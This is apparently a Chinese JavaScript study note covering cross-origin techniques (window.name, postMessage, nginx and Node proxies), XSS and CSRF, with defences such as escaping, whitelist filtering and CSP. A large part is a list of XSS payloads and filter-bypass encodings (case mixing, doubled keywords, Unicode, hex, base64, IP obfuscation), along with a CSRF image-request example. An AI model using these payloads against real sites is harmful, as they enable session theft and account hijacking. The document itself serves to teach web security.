JavaScript核心知识总结(下)一https://developer.aliyun.com/article/1495067
window.name + iframe
window.name属性的独特之处:name
值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name
值(2MB)。
1.)a.html:(www.domain1.com/a.html)
var proxy = function(url, callback) { var state = 0; var iframe = document.createElement('iframe'); // 加载跨域页面 iframe.src = url; // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name iframe.onload = function() { if (state === 1) { // 第2次onload(同域proxy页)成功后,读取同域window.name中数据 callback(iframe.contentWindow.name); destroyFrame(); } else if (state === 0) { // 第1次onload(跨域页)成功后,切换到同域代理页面 iframe.contentWindow.location = 'http://www.domain1.com/proxy.html'; state = 1; } }; document.body.appendChild(iframe); // 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问) function destroyFrame() { iframe.contentWindow.document.write(''); iframe.contentWindow.close(); document.body.removeChild(iframe); } }; // 请求跨域b页面数据 proxy('http://www.domain2.com/b.html', function(data){ alert(data); });
2.)proxy.html:(www.domain1.com/proxy.... 中间代理页,与a.html同域,内容为空即可。
3.)b.html:(www.domain2.com/b.html)
<script> window.name = 'This is domain2 data!'; </script>
总结:通过iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。
postMessage跨域
postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:
- 页面和其打开的新窗口的数据传递
- 多窗口之间消息传递
- 页面与嵌套的iframe消息传递
- 上面三个场景的跨域数据传递
用法:postMessage(data,origin)
方法接受两个参数
data
: html5规范支持任意基本类型或可复制的对象,但部分浏览器只支持字符串,所以传参时最好用JSON.stringify()
序列化。origin
: 协议+主机+端口号,也可以设置为"*",表示可以传递给任意窗口,如果要指定和当前窗口同源的话设置为"/"。
1.)a.html:(www.domain1.com/a.html)
<iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe> <script> var iframe = document.getElementById('iframe'); iframe.onload = function() { var data = { name: 'aym' }; // 向domain2传送跨域数据 iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.domain2.com'); }; // 接受domain2返回数据 window.addEventListener('message', function(e) { alert('data from domain2 ---> ' + e.data); }, false); </script>
2.)b.html:(www.domain2.com/b.html)
<script> // 接收domain1的数据 window.addEventListener('message', function(e) { alert('data from domain1 ---> ' + e.data); var data = JSON.parse(e.data); if (data) { data.number = 16; // 处理后再发回domain1 window.parent.postMessage(JSON.stringify(data), 'http://www.domain1.com'); } }, false); </script>
WebSocket 跨域通信
var ws = new WebSocket('wss://echo.websoket.org') //这个是后端端口 ws.onopen = function(evt) { ws.send('some message') } ws.onmessage = function (evt) { console.log(evt.data); } ws.onclose = function(evt){ console.log('连接关闭'); }
nginx代理跨域
- nginx配置解决iconfont跨域 浏览器跨域访问js、css、img等常规静态资源被同源策略许可,但iconfont字体文件(eot|otf|ttf|woff|svg)例外,此时可在nginx的静态资源服务器中加入以下配置。
location / { add_header Access-Control-Allow-Origin *; }
nginx反向代理接口跨域 跨域原理: 同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就不存在跨越问题。 实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。 nginx具体配置:
#proxy服务器 server { listen 81; server_name www.domain1.com; location / { proxy_pass http://www.domain2.com:8080; #反向代理 proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名 index index.html index.htm; # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用 add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为* add_header Access-Control-Allow-Credentials true; } }
前端代码示例:
var xhr = new XMLHttpRequest(); // 前端开关:浏览器是否读写cookie xhr.withCredentials = true; // 访问nginx中的代理服务器 xhr.open('get', 'http://www.domain1.com:81/?user=admin', true); xhr.send(); 2.) Nodejs后台示例: var http = require('http'); var server = http.createServer(); var qs = require('querystring'); server.on('request', function(req, res) { var params = qs.parse(req.url.substring(2)); // 向前台写cookie res.writeHead(200, { 'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly' // HttpOnly:脚本无法读取 }); res.write(JSON.stringify(params)); res.end(); }); server.listen('8080'); console.log('Server is running at port 8080...');
Nodejs中间件代理跨域
node中间件实现跨域代理,原理大致与nginx相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置cookieDomainRewrite参数修改响应头中cookie中域名,实现当前域的cookie写入,方便接口登录认证。
非vue框架的跨域(2次跨域)
利用node + express + http-proxy-middleware搭建一个proxy服务器。 1.)前端代码示例:
var xhr = new XMLHttpRequest(); // 前端开关:浏览器是否读写cookie xhr.withCredentials = true; // 访问http-proxy-middleware代理服务器 xhr.open('get', 'http://www.domain1.com:3000/login?user=admin', true); xhr.send(); 2.)中间件服务器: var express = require('express'); var proxy = require('http-proxy-middleware'); var app = express(); app.use('/', proxy({ // 代理跨域目标接口 target: 'http://www.domain2.com:8080', changeOrigin: true, // 修改响应头信息,实现跨域并允许带cookie onProxyRes: function(proxyRes, req, res) { res.header('Access-Control-Allow-Origin', 'http://www.domain1.com'); res.header('Access-Control-Allow-Credentials', 'true'); }, // 修改响应信息中的cookie域名 cookieDomainRewrite: 'www.domain1.com' // 可以为false,表示不修改 })); app.listen(3000); console.log('Proxy server is listen at port 3000...');
XSS
XSS
( Cross Site Scripting ) 是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web
页面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS攻击的危害包括:
- 获取页面数据
- 获取
cookie
- 劫持前端逻辑
- 发送请求
- 偷取网站任意数据
- 偷取用户资料
- 偷取用户密码和登陆态
- 欺骗用户
XSS攻击分类
反射型
通过url
参数直接注入。
发出请求时,XSS
代码出现在URL
中,作为输入提交到服务器端,服务端解析后返回,XSS
代码随响应内容一起传回给浏览器,最后浏览器执行XSS
代码。这个过程像一次反射,故叫做反射型XSS
。
举个例子
一个链接,里面的query
字段中包含一个script
标签,这个标签的src
就是恶意代码,用户点击了这个链接后会先向服务器发送请求,服务器返回时也携带了这个XSS
代码,然后浏览器将查询的结果写入Html
,这时恶意代码就被执行了。
并不是在url
中没有包含script
标签的网址都是安全的,可以使用短网址来让网址变得很短。
存储型
存储型XSS
会被保存到数据库,在其他用户访问(前端)到这条数据时,这个代码会在访问用户的浏览器端执行。
举个例子
比如攻击者在一篇文章的评论中写入了script
标签,这个评论被保存数据库,当其他用户看到这篇文章时就会执行这个脚本。
XSS攻击注入点
HTML
节点内容
- 如果一个节点内容是动态生成的,而这个内容中包含用户输入。
HTML
属性
- 某些节点属性值是由用户输入的内容生成的。那么可能会被封闭标签后添加
script
标签。
<img src="${image}"/> <img src="1" onerror="alert(1)" />
Javascript
代码
JS
中包含由后台注入的变量或用户输入的信息。
var data = "#{data}"; var data = "hello"; alert(1);"";
- 富文本
XSS 防御
对于 XSS
攻击来说,通常有两种方式可以用来防御。
- 转义字符
CSP
内容安全策略
转义字符
- 普通的输入 - 编码
- 对用户输入数据进行
HTML Entity
编码(使用转义字符) - "
- &
- <
- >
- 空格
- 富文本 - 过滤(黑名单、白名单)
- 移除上传的
DOM
属性,如onerror
等 - 移除用户上传的
style
节点、script
节点、iframe
节点等
- 较正
- 避免直接对
HTML Entity
解码 - 使用
DOM Parse
转换,校正不配对的DOM
标签和属性
对于会在DOM中出现的字符串(用户数据):
<
转义为 \<
;
>
转义为 \>
;
对于可能出现在DOM元素属性上的数据
- " 转义为
\"
; - ' 转义为
\&9039
; - 空格转义为 但这可能造成多个连续的空格,也可以不对空格转义,但是一定要为属性加双引号
- & 这个字符如果要转义,那么一定要放在转移函数的第一个来做
避免JS中的插入
j
var data = "#{data}"; var data = "hello"; alert(1);"";
因为是用引号将变量包裹起来的,而且被攻击也因为引号被提前结束,所以要做的就是将引号转义
先 \\ -> \\\\ 再 " -> \\"
富文本
按照黑名单过滤: script
等
但是html
标签中能执行html
代码的属性太多了,比如onclick
, onhover
,onerror
, <a href="javascript:alert(1)">
function xssFilter = function (html) { html = html.replace(/<\s*\/?script\s*>/g, ''); html = html.replace(/javascript:[^'"]/g, ''); html = html.replace(/onerror\s*=\s*['"]?[^'"]*['"]?/g, ''); //.... return html; }
按照白名单过滤: 只允许某些标签和属性存在
做法:将HTML解析成树状结构,对于这个DOM树,一个一个的去看是否存在合法的标签和属性,如果不是就去掉。
使用cheerio就可以快速的解析DOM
function xssFilter (html) { const cheerio = require('cheerio'); const $ = cheerio.load(html); //白名单 const whiteList = {'img': ['src']} $('*').each((index, elem) => { if(!whiteList[elem.name]) { $(elem).remove(); return; } for(let attr in elem.attribs) { if(whiteList[elem.name].indexOf(attr) === -1) { $(elem).attr(attr, null); } } }) return html; }
使用npm包来简化操作
xss文档
CSP 内容安全策略
CSP
本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS
攻击。
通常可以通过两种方式来开启 CSP:
- 设置
HTTP Header
中的Content-Security-Policy
- 设置 meta 标签的方式
<meta http-equiv="Content-Security-Policy">
以设置 HTTP Header
来举例
- 只允许加载本站资源
Content-Security-Policy: default-src ‘self’
- 图片只允许加载 HTTPS 协议
Content-Security-Policy: img-src https://*
- 允许加载任何来源框架
Content-Security-Policy: child-src 'none'
CSP ( Content Security Policy )
XSS注入方法
参考链接:xz.aliyun.com/t/4067
<script>
<script>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');"> 竞争焦点,从而触发onblur事件 <input onblur=alert("xss") autofocus><input autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');"> 使用open属性触发ontoggle事件,无需用户去触发 <details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
利用link远程包含js文件
PS:在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议
<a>
标签
<a href="javascript:alert(`xss`);">xss</a>
<iframe>
标签
<iframe src=javascript:alert('xss');></iframe>
<img>
标签
<img src=javascript:alert('xss')>//IE7以下
<form>
标签
<form action="Javascript:alert(1)"><input type=submit>
其它
expression属性
<img style="xss:expression(alert('xss''))"> // IE7以下 <div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下 <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
有过滤的情况下
过滤空格
用/
代替空格
<img/src="x"/onerror=alert("xss");>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等 1.<<script>alert("xss");//<</script> 2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效 3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过
Unicode编码绕过 <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
过滤url地址
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//
可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
CSRF
打开同一浏览器时其他的网站对本网站造成的影响。原理就是攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑。
举个例子,用户同时打开了A网站和钓鱼网站。 假设A网站中有一个通过 GET 请求提交用户评论的接口,那么攻击者就可以在钓鱼网站中加入一个图片,图片的地址就是评论接口。
<img src="http://www.domain.com/xxx?comment='attack'"/>
CSRF攻击原理
- 用户登录A网站
- A网站确认身份(给客户端cookie)
- B网站页面向A网站发起请求(带上A网站身份)
CSRF防御
Get
请求不对数据进行修改- 不让第三方网站访问到用户
Cookie
- 阻止第三方网站请求接口
- 请求时附带验证信息,比如验证码或者
Token
SameSite
- 可以对
Cookie
设置SameSite
属性。该属性表示Cookie
不随着跨域请求发送,可以很大程度减少CSRF
的攻击,但是该属性目前并不是所有浏览器都兼容。
Token
验证
cookie
是发送时自动带上的,而不会主动带上Token
,所以在每次发送时主动发送Token
Referer
验证
- 对于需要防范
CSRF
的请求,我们可以通过验证Referer
来判断该请求是否为第三方网站发起的。
- 隐藏令牌
- 主动在HTTP头部中添加令牌信息
禁止第三方网站带cookies
same-site属性。 设置只有同一站点的请求才能携带cookie
CSRF蠕虫
如果某个用户打开了被攻击网页,并且用户同时访问了攻击者的网页。 那么攻击者的网页就会使用用户的身份发送一些请求,并且常用用户的身份发布一些评论或文章,里面包含攻击者的网页链接。如果其他用户看到了这个用户的这条评论,都甚至可以不点击,其他用户也会被盗用身份发送一些恶意请求。这样病毒的传播就会越来越快,影响越来越大。
CSRF攻击危害
- 利用用户登录态
- 用户不知情
- 完成业务请求
- 盗取用户资金
- 冒充用户发帖背锅
- 损坏网站名誉
最后
行文至此,感谢阅读,一键三连是对我最大的支持